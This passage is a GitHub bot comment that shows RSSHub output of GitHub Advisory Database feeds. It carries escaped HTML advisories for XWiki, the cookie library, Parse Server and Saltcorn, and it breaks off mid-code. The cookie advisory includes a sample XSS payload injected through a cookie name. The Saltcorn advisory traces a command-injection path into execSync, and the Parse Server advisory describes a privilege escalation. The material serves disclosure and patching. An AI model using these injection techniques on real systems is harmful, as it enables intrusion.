        &lt;li&gt;&lt;a href=&quot;https://jira.xwiki.org/browse/XWIKI-20336&quot; rel=&quot;nofollow&quot;&gt;https://jira.xwiki.org/browse/XWIKI-20336&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-46979&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-46979&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-pg4m-3gp6-hw4w</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-pg4m-3gp6-hw4w</guid>
      <pubDate>Wed, 18 Sep 2024 14:26:20 GMT</pubDate>
    </item>
    <item>
      <title>org.xwiki.platform:xwiki-platform-notifications-ui is missing checks for notification filter preferences editions</title>
      <description>&lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;It&#39;s possible for any user knowing the ID of a notification filter preference of another user, to enable/disable it or even delete it. The impact is that the target user might start loosing notifications on some pages because of this.&lt;br&gt;
        This vulnerability is present in XWiki since 13.2-rc-1.&lt;/p&gt;
        &lt;h3&gt;Patches&lt;/h3&gt;
        &lt;p&gt;The vulnerability has been patched in XWiki 14.10.21, 15.5.5, 15.10.1, 16.0-rc-1. The patch consists in checking properly the rights of the user before performing any action on the filters.&lt;/p&gt;
        &lt;h3&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;It&#39;s possible to fix manually the vulnerability by editing the document &lt;code class=&quot;notranslate&quot;&gt;XWiki.Notifications.Code.NotificationPreferenceService&lt;/code&gt; to apply the changes performed in this commit e8acc9d8e6af7dfbfe70716ded431642ae4a6dd4.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;JIRA ticket: &lt;a href=&quot;https://jira.xwiki.org/browse/XWIKI-20337&quot; rel=&quot;nofollow&quot;&gt;https://jira.xwiki.org/browse/XWIKI-20337&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;Commit: e8acc9d8e6af7dfbfe70716ded431642ae4a6dd4&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3&gt;For more information&lt;/h3&gt;
        &lt;p&gt;If you have any questions or comments about this advisory:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;Open an issue in &lt;a href=&quot;https://jira.xwiki.org/&quot; rel=&quot;nofollow&quot;&gt;Jira XWiki.org&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;Email us at &lt;a href=&quot;mailto:security@xwiki.org&quot;&gt;Security Mailing List&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3&gt;Attribution&lt;/h3&gt;
        &lt;p&gt;This vulnerability has been reported on Intigriti by &lt;a class=&quot;user-mention notranslate&quot; data-hovercard-type=&quot;user&quot; data-hovercard-url=&quot;/users/floerer/hovercard&quot; data-octo-click=&quot;hovercard-link-click&quot; data-octo-dimensions=&quot;link_type:self&quot; href=&quot;https://github.com/floerer&quot;&gt;@floerer&lt;/a&gt;&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-r95w-889q-x2gx&quot; href=&quot;https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-r95w-889q-x2gx&quot;&gt;GHSA-r95w-889q-x2gx&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/xwiki/xwiki-platform/commit/4771573dac88e0cf04e30f1a8dfa183c048d503a/hovercard&quot; href=&quot;https://github.com/xwiki/xwiki-platform/commit/4771573dac88e0cf04e30f1a8dfa183c048d503a&quot;&gt;xwiki/xwiki-platform@&lt;tt&gt;4771573&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/xwiki/xwiki-platform/commit/99193a7e9a203b5bb8b2583ac96f5f4d56b9aa1a/hovercard&quot; href=&quot;https://github.com/xwiki/xwiki-platform/commit/99193a7e9a203b5bb8b2583ac96f5f4d56b9aa1a&quot;&gt;xwiki/xwiki-platform@&lt;tt&gt;99193a7&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/xwiki/xwiki-platform/commit/b9180b874a22e383ad5f2cd9e25bfed4594d4955/hovercard&quot; href=&quot;https://github.com/xwiki/xwiki-platform/commit/b9180b874a22e383ad5f2cd9e25bfed4594d4955&quot;&gt;xwiki/xwiki-platform@&lt;tt&gt;b9180b8&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/xwiki/xwiki-platform/commit/e8acc9d8e6af7dfbfe70716ded431642ae4a6dd4/hovercard&quot; href=&quot;https://github.com/xwiki/xwiki-platform/commit/e8acc9d8e6af7dfbfe70716ded431642ae4a6dd4&quot;&gt;xwiki/xwiki-platform@&lt;tt&gt;e8acc9d&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://jira.xwiki.org/browse/XWIKI-20337&quot; rel=&quot;nofollow&quot;&gt;https://jira.xwiki.org/browse/XWIKI-20337&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-46978&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-46978&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-r95w-889q-x2gx</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-r95w-889q-x2gx</guid>
      <pubDate>Wed, 18 Sep 2024 14:26:16 GMT</pubDate>
    </item>
    <item>
      <title>Keycloak Services has a potential bypass of brute force protection</title>

...

@github-actions GitHub Actions
Copy link
Contributor

github-actions bot commented Oct 5, 2024

http://localhost:1200/github/advisor/data/reviewed/npm - Success ✔️ 
<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
  <channel>
    <title>GitHub Advisory Database RSS - npm - reviewed</title>
    <link>https://github.com/advisories</link>
    <atom:link href="http://localhost:1200/github/advisor/data/reviewed/npm" rel="self" type="application/rss+xml"></atom:link>
    <description>GitHub Advisory Database RSS - npm - reviewed - Powered by RSSHub</description>
    <generator>RSSHub</generator>
    <webMaster>contact@rsshub.app (RSSHub)</webMaster>
    <language>en</language>
    <lastBuildDate>Sat, 05 Oct 2024 18:31:10 GMT</lastBuildDate>
    <ttl>5</ttl>
    <item>
      <title>cookie accepts cookie name, path, and domain with out of bounds characters</title>
      <description>&lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;The cookie name could be used to set other fields of the cookie, resulting in an unexpected cookie value. For example, &lt;code class=&quot;notranslate&quot;&gt;serialize(&quot;userName=&amp;lt;script&amp;gt;alert(&#39;XSS3&#39;)&amp;lt;/script&amp;gt;; Max-Age=2592000; a&quot;, value)&lt;/code&gt; would result in &lt;code class=&quot;notranslate&quot;&gt;&quot;userName=&amp;lt;script&amp;gt;alert(&#39;XSS3&#39;)&amp;lt;/script&amp;gt;; Max-Age=2592000; a=test&quot;&lt;/code&gt;, setting &lt;code class=&quot;notranslate&quot;&gt;userName&lt;/code&gt; cookie to &lt;code class=&quot;notranslate&quot;&gt;&amp;lt;script&amp;gt;&lt;/code&gt; and ignoring &lt;code class=&quot;notranslate&quot;&gt;value&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;A similar escape can be used for &lt;code class=&quot;notranslate&quot;&gt;path&lt;/code&gt; and &lt;code class=&quot;notranslate&quot;&gt;domain&lt;/code&gt;, which could be abused to alter other fields of the cookie.&lt;/p&gt;
        &lt;h3&gt;Patches&lt;/h3&gt;
        &lt;p&gt;Upgrade to 0.7.0, which updates the validation for &lt;code class=&quot;notranslate&quot;&gt;name&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;path&lt;/code&gt;, and &lt;code class=&quot;notranslate&quot;&gt;domain&lt;/code&gt;.&lt;/p&gt;
        &lt;h3&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;Avoid passing untrusted or arbitrary values for these fields, ensure they are set by the application instead of user input.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;2414371453&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/jshttp/cookie/issues/167&quot; data-hovercard-type=&quot;pull_request&quot; data-hovercard-url=&quot;/jshttp/cookie/pull/167/hovercard&quot; href=&quot;https://github.com/jshttp/cookie/pull/167&quot;&gt;jshttp/cookie#167&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-pxg6-pf52-xh8x&quot; href=&quot;https://github.com/jshttp/cookie/security/advisories/GHSA-pxg6-pf52-xh8x&quot;&gt;GHSA-pxg6-pf52-xh8x&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;2414371453&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/jshttp/cookie/issues/167&quot; data-hovercard-type=&quot;pull_request&quot; data-hovercard-url=&quot;/jshttp/cookie/pull/167/hovercard&quot; href=&quot;https://github.com/jshttp/cookie/pull/167&quot;&gt;jshttp/cookie#167&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/jshttp/cookie/commit/e10042845354fea83bd8f34af72475eed1dadf5c/hovercard&quot; href=&quot;https://github.com/jshttp/cookie/commit/e10042845354fea83bd8f34af72475eed1dadf5c&quot;&gt;jshttp/cookie@&lt;tt&gt;e100428&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-pxg6-pf52-xh8x</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-pxg6-pf52-xh8x</guid>
      <pubDate>Fri, 04 Oct 2024 20:31:00 GMT</pubDate>
    </item>
    <item>
      <title>Parse Server&#39;s custom object ID allows to acquire role privileges</title>
      <description>&lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;If the Parse Server option &lt;code class=&quot;notranslate&quot;&gt;allowCustomObjectId: true&lt;/code&gt; is set, an attacker that is allowed to create a new user can set a custom object ID for that new user that exploits the vulnerability and acquires privileges of a specific role.&lt;/p&gt;
        &lt;h3&gt;Patches&lt;/h3&gt;
        &lt;p&gt;Improved validation for custom user object IDs. Session tokens for existing users with an object ID that exploits the vulnerability are now rejected.&lt;/p&gt;
        &lt;h3&gt;Workarounds&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;Disable custom object IDs by setting &lt;code class=&quot;notranslate&quot;&gt;allowCustomObjectId: false&lt;/code&gt; or not setting the option which defaults to &lt;code class=&quot;notranslate&quot;&gt;false&lt;/code&gt;.&lt;/li&gt;
        &lt;li&gt;Use a Cloud Code Trigger to validate that a new user&#39;s object ID doesn&#39;t start with the prefix &lt;code class=&quot;notranslate&quot;&gt;role:&lt;/code&gt;.&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-8xq9-g7ch-35hg&quot; href=&quot;https://github.com/parse-community/parse-server/security/advisories/GHSA-8xq9-g7ch-35hg&quot;&gt;GHSA-8xq9-g7ch-35hg&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;2564579124&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/parse-community/parse-server/issues/9317&quot; data-hovercard-type=&quot;pull_request&quot; data-hovercard-url=&quot;/parse-community/parse-server/pull/9317/hovercard&quot; href=&quot;https://github.com/parse-community/parse-server/pull/9317&quot;&gt;parse-community/parse-server#9317&lt;/a&gt; (fix for Parse Server 7)&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;2564597127&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/parse-community/parse-server/issues/9318&quot; data-hovercard-type=&quot;pull_request&quot; data-hovercard-url=&quot;/parse-community/parse-server/pull/9318/hovercard&quot; href=&quot;https://github.com/parse-community/parse-server/pull/9318&quot;&gt;parse-community/parse-server#9318&lt;/a&gt; (fix for Parse Server 6)&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-8xq9-g7ch-35hg&quot; href=&quot;https://github.com/parse-community/parse-server/security/advisories/GHSA-8xq9-g7ch-35hg&quot;&gt;GHSA-8xq9-g7ch-35hg&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-47183&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-47183&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;2564579124&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/parse-community/parse-server/issues/9317&quot; data-hovercard-type=&quot;pull_request&quot; data-hovercard-url=&quot;/parse-community/parse-server/pull/9317/hovercard&quot; href=&quot;https://github.com/parse-community/parse-server/pull/9317&quot;&gt;parse-community/parse-server#9317&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;2564597127&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/parse-community/parse-server/issues/9318&quot; data-hovercard-type=&quot;pull_request&quot; data-hovercard-url=&quot;/parse-community/parse-server/pull/9318/hovercard&quot; href=&quot;https://github.com/parse-community/parse-server/pull/9318&quot;&gt;parse-community/parse-server#9318&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/parse-community/parse-server/commit/13ee52f0d19ef3a3524b3d79aea100e587eb3cfc/hovercard&quot; href=&quot;https://github.com/parse-community/parse-server/commit/13ee52f0d19ef3a3524b3d79aea100e587eb3cfc&quot;&gt;parse-community/parse-server@&lt;tt&gt;13ee52f&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/parse-community/parse-server/commit/1bfbccf9ee7ea77533b2b2aa7c4c69f3bd35e66f/hovercard&quot; href=&quot;https://github.com/parse-community/parse-server/commit/1bfbccf9ee7ea77533b2b2aa7c4c69f3bd35e66f&quot;&gt;parse-community/parse-server@&lt;tt&gt;1bfbccf&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-8xq9-g7ch-35hg</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-8xq9-g7ch-35hg</guid>
      <pubDate>Fri, 04 Oct 2024 18:50:56 GMT</pubDate>
    </item>
    <item>
      <title>@saltcorn/plugins-loader unsanitized plugin name leads to a remote code execution (RCE) vulnerability when creating plugins using git source</title>
      <description>&lt;h3&gt;Summary&lt;/h3&gt;
        &lt;p&gt;When creating a new plugin using the &lt;code class=&quot;notranslate&quot;&gt;git&lt;/code&gt; source, the user-controlled value &lt;code class=&quot;notranslate&quot;&gt;req.body.name&lt;/code&gt; is used to build the plugin directory where the location will be cloned. The API used to execute the &lt;code class=&quot;notranslate&quot;&gt;git clone&lt;/code&gt; command with the user-controlled data is &lt;code class=&quot;notranslate&quot;&gt;child_process.execSync&lt;/code&gt;. Since the user-controlled data is not validated, a user with admin permission can add escaping characters and execute arbitrary commands, leading to a command injection vulnerability.&lt;/p&gt;
        &lt;h3&gt;Details&lt;/h3&gt;
        &lt;p&gt;Relevant code from source (&lt;code class=&quot;notranslate&quot;&gt;req.body&lt;/code&gt;) to sink (&lt;code class=&quot;notranslate&quot;&gt;child_process.execSync&lt;/code&gt;).&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;file: &lt;a href=&quot;https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/plugins.js#L1400&quot;&gt;https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/plugins.js#L1400&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;div class=&quot;highlight highlight-source-js&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-s1&quot;&gt;router&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&quot;/&quot;&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;pl-s1&quot;&gt;isAdmin&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;pl-en&quot;&gt;error_catcher&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-k&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;pl-k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;plugin&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;pl-v&quot;&gt;Plugin&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;pl-c&quot;&gt;// [1] &lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;[&lt;/span&gt;...&lt;span class=&quot;pl-kos&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;pl-k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;pl-k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;load_plugins&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt;loadAndSaveNewPlugin&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;pl-c&quot;&gt;// [3] &lt;/span&gt;
        &lt;span class=&quot;pl-s1&quot;&gt;plugin&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;pl-s1&quot;&gt;schema&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;connectObj&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;default_schema&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;plugin&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;source&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;&quot;github&quot;&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;[&lt;/span&gt;...&lt;span class=&quot;pl-kos&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
        &lt;ul&gt;
        &lt;li&gt;file: &lt;a href=&quot;https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/saltcorn-data/models/plugin.ts#L44&quot;&gt;https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/saltcorn-data/models/plugin.ts#L44&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;div class=&quot;highlight highlight-source-js&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;pl-v&quot;&gt;Plugin&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;[&lt;/span&gt;...&lt;span class=&quot;pl-kos&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;pl-en&quot;&gt;constructor&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;o&lt;/span&gt;: &lt;span class=&quot;pl-v&quot;&gt;PluginCfg&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;pl-v&quot;&gt;PluginPack&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;pl-v&quot;&gt;Plugin&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;[&lt;/span&gt;...&lt;span class=&quot;pl-kos&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;pl-smi&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;pl-c&quot;&gt;// [2] &lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;[&lt;/span&gt;...&lt;span class=&quot;pl-kos&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
        &lt;ul&gt;
        &lt;li&gt;file: &lt;a href=&quot;https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/load_plugins.js#L64-L65&quot;&gt;https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/load_plugins.js#L64-L65&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;div class=&quot;highlight highlight-source-js&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;pl-en&quot;&gt;loadAndSaveNewPlugin&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;plugin&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;force&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;noSignalOrDB&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;[&lt;/span&gt;...&lt;span class=&quot;pl-kos&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;pl-k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;loader&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;pl-v&quot;&gt;PluginInstaller&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;plugin&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;pl-c&quot;&gt;// [4] &lt;/span&gt;
        &lt;span class=&quot;pl-k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;loader&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt;install&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;force&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;pl-c&quot;&gt;// [7] &lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;[&lt;/span&gt;...&lt;span class=&quot;pl-kos&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
        &lt;ul&gt;
        &lt;li&gt;file: &lt;a href=&quot;https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/plugins-loader/plugin_installer.js#L41-L61&quot;&gt;https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/plugins-loader/plugin_installer.js#L41-L61&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;div class=&quot;highlight highlight-source-js&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;pl-v&quot;&gt;PluginInstaller&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;pl-en&quot;&gt;constructor&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;plugin&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;opts&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;
